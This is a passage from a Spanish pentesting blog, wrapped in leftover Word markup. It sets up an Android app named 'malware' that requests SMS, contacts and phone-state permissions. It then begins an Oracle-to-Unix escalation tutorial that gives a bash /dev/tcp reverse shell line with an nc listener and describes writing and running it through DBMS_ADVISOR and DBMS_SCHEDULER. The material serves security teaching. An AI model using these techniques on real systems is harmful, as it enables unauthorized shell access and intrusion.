UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;">El punto de main de las aplicaciones Android es onCreate, osea lo que por lo general seria el método Main o método principal, en este tipo de aplicaciones esta en el método onCreate. Todo nuestro código ira después de la línea 13, una vez que se a pintado el layout.<br />Otros archivos importantes son el main.xml que como veremos define la interfaz de pantalla , (Sí, eso es, con un fichero xml se "pinta" el interfaz grafico :O)</span></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-ZDJyNy8H_KA/UJRS9G2GSXI/AAAAAAAAANA/Fad0Kx8UsWI/s1600/img14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="http://3.bp.blogspot.com/-ZDJyNy8H_KA/UJRS9G2GSXI/AAAAAAAAANA/Fad0Kx8UsWI/s640/img14.jpg" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"> Y el string.xml en el que aparece el nombre de la aplicación:</span></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-aMHoggUuvJM/UJRToW6Z2LI/AAAAAAAAANI/n-tXnb00Rmw/s1600/img15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="314" src="http://3.bp.blogspot.com/-aMHoggUuvJM/UJRToW6Z2LI/AAAAAAAAANI/n-tXnb00Rmw/s640/img15.jpg" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"> El último archivo que veremos pero no por ello el menos importante, es el archivo Android Manifiest file, en el que entre otras cosas se definen TODOS LOS PERMISOS NECESARIOS para ejecutar la aplicación. Estos permisos son los que el usuario debe aceptar antes de isntalar la aplicación.</span><br />
<span style="mso-ansi-language: ES;"><br />No hay que preocuparse por crear este archivo ya que se crea sólo, pero si hay que añadir los permisos siguientes para que nuestra aplicación funcione:</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"> <uses-permission android:name="android.permission.SEND_SMS"/><br /> <uses-permission android:name="android.permission.READ_CONTACTS"/><br /> <uses-permission android:name="android.permission.READ_PHONE_STATE"/><br /><br />El contenido de nuestro archivo completo es el siguiente:(hay funcionalidades que no usamos ahora pero que usaremos más adelante)<br /><br /><?xml version="1.0" encoding="utf-8"?><br /><manifest xmlns:android="http://schemas.android.com/apk/res/android"<br /> package="Realpentester.malware"<br /> android:versionCode="1"<br /> android:versionName="1.0"><br /> <uses-permission android:name="android.permission.SEND_SMS"/><br /> <uses-permission android:name="android.permission.READ_CONTACTS"/><br /> <uses-permission android:name="android.permission.READ_PHONE_STATE"/><br /> <application android:label="@string/app_name" android:icon="@drawable/ic_launcher"><br /> <activity android:name="Realpentesting Malware"<br /> android:label="@string/app_name"><br /> <intent-filter><br /> <action android:name="android.intent.action.MAIN" /><br /> <category android:name="android.intent.category.LAUNCHER" /><br /> </intent-filter><br /> </activity></span><br />
<br /><span style="mso-ansi-language: ES;"><span style="mso-ansi-language: ES;"> <activity android:name="Realpentester.Malware.actividades.EnviarSms"<br /> android:label="@string/enviarSms"><br /> <intent-filter><br /> <action android:name="android.intent.action.MAIN" /><br /> <category android:name="android.intent.category.LAUNCHER" /><br /> </intent-filter></span></span><br />
<span style="mso-ansi-language: ES;"><span style="mso-ansi-language: ES;"> </activity> </span> </span><br />
<span style="mso-ansi-language: ES;"> </application><br /></manifest><br /><br />Si ejecutamos tal y como está nuestra aplicación veremos lo siguiente:<br /> </span></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-mUYp_ss3Jyg/UJRVpMqGWTI/AAAAAAAAANQ/hpQwlDLQy60/s1600/img16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="588" src="http://2.bp.blogspot.com/-mUYp_ss3Jyg/UJRVpMqGWTI/AAAAAAAAANQ/hpQwlDLQy60/s640/img16.jpg" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"> </span><span style="mso-ansi-language: ES;">Es interesante comentar,
que si queremos ver a tiempo real los log de lo que esta pasando con el
terminal emulado, podemos hacerlo accediendo a la ruta C:\Users\realpentest\AppData\Local\Android\android-sdk\platform-tools></span></div>
<br />
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;">Y ejecutando el
comando<span style="mso-spacerun: yes;"> </span>adb logcat</span></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-65kYWXqBDNI/UJRWTPqeWrI/AAAAAAAAANY/hwKg8DXSOfQ/s1600/img17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="414" src="http://2.bp.blogspot.com/-65kYWXqBDNI/UJRWTPqeWrI/AAAAAAAAANY/hwKg8DXSOfQ/s640/img17.jpg" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;">Aunque de una forma no muy legible, en esta consola podremos ver información de todo lo que sucede al ejecutar una aplicación android en nuestro dispositivo virtual, para detectar por ejemplo posibles errores.</span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"><br /></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;">En la siguiente parte del artículo veremos como podemos modificar el código de nuestra aplicación para realizar acciones maliciosas e incluso podríamos usar en un pentest.<br /> </span></div>
<br />
<div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
</div>
</div>
</div>
REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com2tag:blogger.com,1999:blog-694521803021083340.post-56233629330550750012012-10-01T01:05:00.002-07:002013-04-17T11:13:54.616-07:00Hacking Oracle (Parte I)REVERSE SHELL FROM ORACLE TO UNIX.<br />
<br />
<br />
<div class="MsoSubtitle">
<span style="mso-ansi-language: ES;">En ocasiones en un
pentesting es más fácil conseguir un usuario de oracle que un usuario de SO,
pero nos interesa obtener una shell en la máquina.</span></div>
<div class="MsoSubtitle">
<span style="mso-ansi-language: ES;">
</span></div>
<div class="MsoBodyText">
No es raro encontrar todo tipo de credenciales
"hardcodeadas" en texto plano en ficheros de configuración y todavía es más
frecuente si hablamos de bases de datos, se pueden encontrar usuarios con
credenciales "hardcodeadas" en equipos finales de usuarios (automatizaciones,
etc), el caso que aquí nos ocupa es el de encontrar una forma simple para
salirse de Oracle (en este caso) al sistema operativo, veamos como podemos
lograrlo.</div>
<div class="MsoBodyText">
<br /></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
Vamos a suponer que o bien somos
un usuario de base de datos “legal” o bien hemos realizado el proceso típico en
pentesting de Oracle, a saber:</div>
<div class="MsoBodyText">
1) Encontrar bases de datos</div>
<div class="MsoBodyText">
<span lang="EN-GB" style="mso-ansi-language: EN-GB;">2)
Obtener SIDs</span></div>
<div class="MsoBodyText">
<span lang="EN-GB" style="mso-ansi-language: EN-GB;">3) Obtener
Users/Pass</span></div>
<div class="MsoBodyText">
4) Login y enumerate DB Schema</div>
<div class="MsoBodyText">
5) etc…</div>
<br />
<div class="MsoBodyText" style="text-indent: 0cm;">
Siendo así vamos a suponer que
tenemos usuario en la base de datos y que unicamente <span style="mso-spacerun: yes;"> </span>tenemos acceso al host mediante el puerto 1521
(puerto estándar del listener), necesitaremos por tanto una shell reversa, por
ejemplo, de forma simple y sin perder generalidad: <b style="mso-bidi-font-weight: normal;">bash -i >& /dev/tcp/10.1.1.1/12345 0>&1</b> y como es de
suponer a la escucha pondremos por ejemplo un nc –l –p 12345….</div>
<div class="MsoBodyText" style="text-indent: 0cm;">
<br /></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
Necesitaremos
de algún modo poder escribir en el host, Oracle proporciona varias forma de
hacerlo, muchas de ellas que por defecto se establecen a nivel de packages y
con permisos de execute a public! Que tenemos disponible para nuestras
necesidades:</div>
<div class="MsoBodyText" style="text-indent: 0cm;">
<br /></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
<span style="mso-bidi-font-family: Tahoma; mso-bidi-font-size: 11.0pt;">SYS.DBMS_ADVISOR.CREATE_FILE:
Como su nombre indica la usaremos para crear el fichero octopus.sh en /tmp. El
fichero contiene nuestra shell reversa “</span><span lang="EN-US" style="mso-ansi-language: EN-US; mso-bidi-font-family: Tahoma; mso-bidi-font-size: 11.0pt;">bash -i >& /dev/tcp/$HOST/$PUERTO 0>&1</span><span style="mso-bidi-font-family: Tahoma; mso-bidi-font-size: 11.0pt;">”.</span></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
<br /></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
<span style="mso-bidi-font-family: Tahoma; mso-bidi-font-size: 11.0pt;">DBMS_SCHEDULER.CREATE_JOB:
Otra gran utilidad de Oracle que nos permite crear jobs, en este caso crearemos
“mjob”<span style="mso-spacerun: yes;"> </span>para que de permisos a nuestra
shell reversa, esto es, un chmod 755 en /tmp/octopus.sh</span></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
<br /></div>
<div class="MsoBodyText" style="text-indent: 0cm;">
